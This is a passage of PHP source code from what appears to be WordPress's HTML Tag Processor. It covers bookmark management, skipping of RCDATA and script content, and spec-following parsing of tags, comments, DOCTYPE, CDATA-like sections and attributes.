				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
